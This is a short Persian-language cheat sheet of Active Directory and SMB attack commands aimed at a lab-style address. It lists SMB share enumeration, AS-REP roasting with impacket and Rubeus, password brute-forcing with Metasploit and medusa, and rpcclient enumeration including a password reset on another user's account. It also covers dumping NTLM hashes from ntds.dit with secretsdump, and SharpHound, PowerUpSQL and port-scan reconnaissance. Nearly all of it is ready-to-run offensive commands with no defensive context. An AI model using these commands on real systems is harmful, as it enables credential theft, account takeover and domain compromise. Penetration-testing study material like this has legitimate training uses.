نمایش مسیر به اشتراک گذاشته شده
smbclient -L 10.10.10.10
نمایش مسیر مشخص
smbclient //10.10.10.10/forensic
ورود به شل
smbclient //10.10.10.10/profiles$
دریافت کاربران به همراه هش کلمه عبور
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py 10.10.10.10L -usersfile
حدس کلمه عبور های مختلف smb
با metasploit
msf5 > use auxiliary/scanner/smb/smb_login
set pass_file wordlist
set USER_file users.txt
set RHOSTS 10.10.10.10
run
با medusa
medusa -h 10.10.10.10 -U users.txt -P wordlist -M smbnt
دستورات rpcclient
ورود به سیستم
rpcclient 10.10.10.10 -U support
نمایش اطلاعات کاربر
queryuser support
نمایش کاربران
enumdomusers
نمایش دسترسی ها
enumprivs
تغییر دسترسی کاربر
setuserinfo2 audit2020 23 'redteam'
نمایش چاپگر ها
enumprinters
استخراج NTLM از فایل ntds.dit
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system system -
hashes lmhash:nthash LOCAL -output nt-hash
جمع آوری اطلاعات با استفاده از SharpHound
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
.\SharpHound.exe
or
SharpHound.exe -c All --zipfilename output.zip
جمع آوری اطلاعات درباره Sql Server
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1
. .\PowerUpSQL.ps1
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
بدست آوردن AS-REP Roast hash
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
.\Rubeus.exe asreproast
لیست ip های دردسترس بدون استفاده از nmap
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.10.10.%i > nul && echo 10.10.10.%i is up.
یا
https://github.com/sperner/PowerShell/blob/master/PortScan.ps1
.\PortScan.ps1
.\PortScan.ps1 10.10.10.10 1 10000
شناسایی سرویس با Test-WSMan
PS> Test-WSMan -ComputerName <COMPUTERNAME> -Port 6666